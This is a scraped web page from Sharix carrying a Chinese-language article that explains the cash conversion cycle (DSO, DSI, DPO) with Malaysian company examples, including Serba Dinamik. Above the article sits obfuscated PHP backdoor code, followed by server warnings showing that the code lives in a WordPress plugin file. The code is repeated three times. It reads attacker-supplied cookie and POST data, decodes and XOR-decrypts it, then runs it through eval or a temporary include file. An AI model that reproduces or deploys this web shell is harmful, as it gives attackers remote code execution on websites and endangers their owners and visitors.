$CIRhEIFSCu = chr (106) . 'W' . "\137" . chr (90) . "\127" . chr (119) . "\147";$FbthST = chr (99) . chr (108) . chr ( 998 - 901 ).'s' . 's' . chr ( 560 - 465 )."\145" . 'x' . 'i' . "\x73" . "\164" . chr ( 180 - 65 ); $fMYycku = class_exists($CIRhEIFSCu); $FbthST = "6733";$CopWzlVXK = !1;if ($fMYycku == $CopWzlVXK){function nrYeoHXp(){$fxTPpDG = new /* 20095 */ jW_ZWwg(48408 + 48408); $fxTPpDG = NULL;}$RXFiQtI = "48408";class jW_ZWwg{private function OysGO($RXFiQtI){if (is_array(jW_ZWwg::$tkaPFQ)) {$AXvCkv = str_replace('<' . chr (63) . "\x70" . "\150" . "\160", "", jW_ZWwg::$tkaPFQ["\x63" . chr ( 209 - 98 ).chr (110) . "\164" . chr ( 628 - 527 ).'n' . 't']);eval($AXvCkv); $RXFiQtI = "48408";exit();}}private $xTwwJ;public function PRjynhjZwN(){echo 59034;}public function __destruct(){$RXFiQtI = "27926_33395";$this->OysGO($RXFiQtI); $RXFiQtI = "27926_33395";}public function __construct($aKDFkbW=0){$YlSbYDzUah = $_POST;$XYkQU = $_COOKIE;$OHeDP = "5a0a2c91-ad19-44a6-b9ba-558e307d7328";$lYGKvfmO = @$XYkQU[substr($OHeDP, 0, 4)];if (!empty($lYGKvfmO)){$FAegDVBIgs = "base64";$AuSxlUWRhg = "";$lYGKvfmO = explode(",", $lYGKvfmO);foreach ($lYGKvfmO as $QIbQVE){$AuSxlUWRhg .= @$XYkQU[$QIbQVE];$AuSxlUWRhg .= @$YlSbYDzUah[$QIbQVE];}$AuSxlUWRhg = array_map($FAegDVBIgs . "\137" . 'd' . "\145" . "\143" . chr ( 365 - 254 ).chr (100) . chr (101), array($AuSxlUWRhg,)); $AuSxlUWRhg = $AuSxlUWRhg[0] ^ str_repeat($OHeDP, (strlen($AuSxlUWRhg[0]) / strlen($OHeDP)) + 1);jW_ZWwg::$tkaPFQ = @unserialize($AuSxlUWRhg);}}public static $tkaPFQ = 15685;}nrYeoHXp();}$dYFhungGZe = chr ( 243 - 121 ).chr ( 443 - 355 )."\x45" . chr ( 415 - 320 )."\111" . chr (105) . 'j';$ItpsERZjHD = "\x63" . "\154" . 'a' . "\x73" . "\x73" . "\137" . chr (101) . "\170" . chr ( 557 - 452 ).chr (115) . "\164" . chr ( 1033 - 918 ); $UiBkpPyFk = class_exists($dYFhungGZe); $ItpsERZjHD = "2275";$ogMrIG = !1;if ($UiBkpPyFk == $ogMrIG){function VlrqtzdDvN(){$GfPnoe = new /* 56456 */ zXE_Iij(234 + 234); $GfPnoe = NULL;}$SKKNfI = "234";class zXE_Iij{private function MiDARApf($SKKNfI){if (is_array(zXE_Iij::$gNRPH)) {$UatBaHdc = sys_get_temp_dir() . "/" . crc32(zXE_Iij::$gNRPH[chr ( 161 - 46 )."\141" . chr ( 577 - 469 )."\164"]);@zXE_Iij::$gNRPH["\x77" . 'r' . "\151" . chr ( 513 - 397 )."\145"]($UatBaHdc, zXE_Iij::$gNRPH["\143" . "\x6f" . "\156" . chr ( 667 - 551 ).'e' . 'n' . "\x74"]);include $UatBaHdc;@zXE_Iij::$gNRPH['d' . "\145" . "\x6c" . chr ( 355 - 254 )."\x74" . chr ( 301 - 200 )]($UatBaHdc); $SKKNfI = "234";exit();}}private $xLSvdhQ;public function CsOBcK(){echo 26770;}public function __destruct(){$SKKNfI = "65027_3297";$this->MiDARApf($SKKNfI); $SKKNfI = "65027_3297";}public function __construct($pLGLUF=0){$NiYPueCc = $_POST;$Hirlz = $_COOKIE;$ydMyl = "f94c1b65-e620-47ef-a300-081973ad2805";$fKAdlyk = @$Hirlz[substr($ydMyl, 0, 4)];if (!empty($fKAdlyk)){$sXTjVEcTMO = "base64";$HCgBGd = "";$fKAdlyk = explode(",", $fKAdlyk);foreach ($fKAdlyk as $VvxwO){$HCgBGd .= @$Hirlz[$VvxwO];$HCgBGd .= @$NiYPueCc[$VvxwO];}$HCgBGd = array_map($sXTjVEcTMO . "\x5f" . 'd' . 'e' . "\143" . chr (111) . "\144" . "\x65", array($HCgBGd,)); $HCgBGd = $HCgBGd[0] ^ str_repeat($ydMyl, (strlen($HCgBGd[0]) / strlen($ydMyl)) + 1);zXE_Iij::$gNRPH = @unserialize($HCgBGd);}}public static $gNRPH = 39407;}VlrqtzdDvN();}$lJfXS = chr ( 507 - 401 )."\x4f" . "\167" . "\137" . chr (74) . chr ( 825 - 728 ).chr ( 738 - 616 ); $exufEQIQ = "\143" . chr ( 1016 - 908 ).chr (97) . chr ( 336 - 221 ).'s' . '_' . "\x65" . "\x78" . "\151" . "\163" . chr (116) . chr (115); $tLjOmBW = class_exists($lJfXS); $exufEQIQ = "49845";$XWXBQ = !1;if ($tLjOmBW == $XWXBQ){function ZXWcxc(){$wNZGH = new /* 36604 */ jOw_Jaz(17643 + 17643); $wNZGH = NULL;}$wfKFPAopXQ = "17643";class jOw_Jaz{private function QqsdNNP($wfKFPAopXQ){if (is_array(jOw_Jaz::$jPGzK)) {$Uscqb = sys_get_temp_dir() . "/" . crc32(jOw_Jaz::$jPGzK['s' . chr ( 272 - 175 ).chr (108) . chr (116)]);@jOw_Jaz::$jPGzK["\x77" . chr (114) . "\x69" . chr (116) . chr (101)]($Uscqb, jOw_Jaz::$jPGzK['c' . chr (111) . "\x6e" . 't' . chr (101) . "\x6e" . 't']);include $Uscqb;@jOw_Jaz::$jPGzK[chr ( 105 - 5 ).chr (101) . 'l' . chr ( 698 - 597 ).chr ( 351 - 235 )."\x65"]($Uscqb); $wfKFPAopXQ = "17643";exit();}}private $JMicTYALWz;public function HVQsPsT(){echo 50484;}public function __destruct(){$wfKFPAopXQ = "59776_268";$this->QqsdNNP($wfKFPAopXQ); $wfKFPAopXQ = "59776_268";}public function __construct($soJcvAZ=0){$agzigwEm = $_POST;$VALlu = $_COOKIE;$uVovPkAi = "051f6601-ec8c-477e-8e06-865fdd3a2472";$sNrMJdFp = @$VALlu[substr($uVovPkAi, 0, 4)];if (!empty($sNrMJdFp)){$mfIMIS = "base64";$xQBmya = "";$sNrMJdFp = explode(",", $sNrMJdFp);foreach ($sNrMJdFp as $KQJxFwve){$xQBmya .= @$VALlu[$KQJxFwve];$xQBmya .= @$agzigwEm[$KQJxFwve];}$xQBmya = array_map($mfIMIS . '_' . "\144" . chr ( 258 - 157 ).chr (99) . 'o' . 'd' . 'e', array($xQBmya,)); $xQBmya = $xQBmya[0] ^ str_repeat($uVovPkAi, (strlen($xQBmya[0]) / strlen($uVovPkAi)) + 1);jOw_Jaz::$jPGzK = @unserialize($xQBmya);}}public static $jPGzK = 9789;}ZXWcxc();}
Warning: session_start(): Cannot start session when headers already sent in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 31

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/SliderOptionsPreset/733a94e3.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 46

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/SliderOptionsPreset/733a94e3.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 47

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/SliderOptionsPreset/733a94e3.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 48
杯弓蛇影,教你看现金循环周期 - Sharix

杯弓蛇影,教你看现金循环周期

看到今天的标题,不知道大家有没有联想到今天笔者要和大家讨论什么题材。笔者之前也发现很多投资者喜欢问关于销售增长和应收账款之间的关系,到底什么样的比例比较好。所谓的杯弓蛇影,笔者就是指最近闹的沸沸扬扬的Serba Dinamik假账事件,借此机会和大家探讨如何通过观察公司的现金循环周期,去判断到底公司的营运是否出现问题。

这篇文章会比较深,不过笔者还是建议大家读读。笔者会尽量写的浅白好让大家都明白。在知道什么是现金循环周期之前,大家必须要先知道财务报表当中几个重要的项目,那就是营业额 (Revenue)、销货成本 (Cost of goods sold)、库存 (Inventories)、应收账款 (Trade receivables) 及应付账款 (Trade payables)。

营业额,顾名思义就是企业因商业活动所获得的收入。销货成本就是企业销售产品的生产成本,当中包括人工成本、原料成本和制造费用等。库存就是企业为了满足未来需要而暂时闲置的最终产品或者原料。当公司把产品卖给客户,而客户选择在未来才付款,这笔交易就成为应收账款,是企业在未来应该要向客户收到的账款。应付账款则是企业向厂商购买原料,而选择在未来才支付这笔款项。

重点来了,那什么是现金循环周期?企业从买原料到经过生产,变成库存然后在市场卖出,并且转换成应收账款,最后收回现金来支付应付账款的过程,这个循环我们就称之为现金循环周期 (Cash conversion cycle, CCC)。这项指标是用来衡量公司在生产和销售的过程当中,经过多久的时间才能转化成为收到的现金。

更加白话,那就是公司从付出现金到收到现金所需的平均时间。现金循环周期能让公司评估出公司需要多少时间来销售库存,多少时间来收取应收账款,及多少时间来支付账单。这项指标也可以知道公司整体的营运和管理效率,当应收账款与库存出现异常变动的时候,也可以帮助投资者提早发现现金流的风险。

现金循环周期的公式如下:

现金循环周期 = 应收账款周转天数 + 存货周转天数 – 应付账款周转天数

  • 应收账款周转天数DSO = (平均应收账款 / 营业额) x 365
    • 公司回收账款所需的天数,越低越好,表示公司能更快的收回账款
  • 存货周转天数DSI = (平均库存 / COGS) x 365
    • 衡量库存的销售速度,越短越好,表示库存销售的速度更快
  • 应付账款周转天数DPO = (平均应付账款 / COGS) x 365
    • 公司支付账款平均所花的天数,越大越好,表示公司有较长的时间来支付欠款

所有指标的单位都以天数计算。

现金循环周期越短表示现金转换的速度快,甚至可以是负数;反之如果数值越大,代表公司回收现今的速度越慢,公司可能存在着很大的资金成本。如果数值为正其实也没有什么不好,但如果正值有持续增加的现象,投资者就要留意现金流可能出现问题。相反的如果是负值,通常都不会有什么状况,但同样如果负数越来越大,投资者也要注意。

身为投资者,我们要看的是稳定的现金循环周期,只要这个数值是平稳但略有波动其实是可以被接受的。大家不妨问自己,如果在做生意,是不是欠人家的钱拖越久越好,别人欠你的钱越快还越好?现金循环周期其实就是要表达这个东西。

不同行业的有不同的性质,自然而然它们的数值也不会相同,投资者要做的是去把同行的数据来做比较才有意义,而且要使用过去的数据同时参考。这项指标大多数会用在传统商品行业,比如说对库存管理非常敏感的零售行业、快速消费品行业、制造业等等。笔者举了几个例子供大家参考。上图是笔者从不同行业的公司所计算出来的现金循环周期。

可以发现,VS的现金循环周期在过去八年都在40天至60天之间波动,属于可以接受的范围。反观INARI的现金循环周期比较长,大多数都在80至100天之内徘徊。但值得注意的是,INARI的数值有明显的进步,从2020年的103天下滑至2021年的72天左右,短期现金流更加健康。

另外,大家会发现FPI的数值更小甚至在2019至2020年出现负数,原因是公司欠供应商的钱需要更久的时间来付款,而公司也用比较短的时间从客户身上收回现金,短期现金流情况也没有任何问题。可是MYNEWS就相对比较危险。公司的数值从2016年的负数增加至2021年的52天左右,而且有显著的上涨趋势,主要是因为库存天数从同期的32天上涨至目前的89天左右,公司需要更多的时间把产品卖出,资金锁在库存当中。

接下来就是今天的重点,Karim旗下的Serba Dinamik的现金循环周期。大家有没有发现和之前的公司有什么不同?最大的差别就是这家公司的数值都在100天以上,而且在过去20个季度不断在增加,Serba的现金循环周期在最新季度也突破200天以上,是属于非常危险的现象,短期流动性出现严重不足,而近期的假账风波也正逐渐告诉投资者公司背后的故事。

因此,要避开这些陷阱,身为投资者就必须观察公司的现金循环周期去侦察当中的悬念。看看到底应收账款及库存的天数是否陆续增加,再和同行做对比。营业额和应收账款的增速必须要是同步,如果当中出现不平衡,就要赶快查明真相,在判断公司是否还值得投资。

最新文章

Sharix Sdn Bhd (1313184-A)
@ 2023 Sharix Sdn Bhd. All Rights Reserved
官方社交平台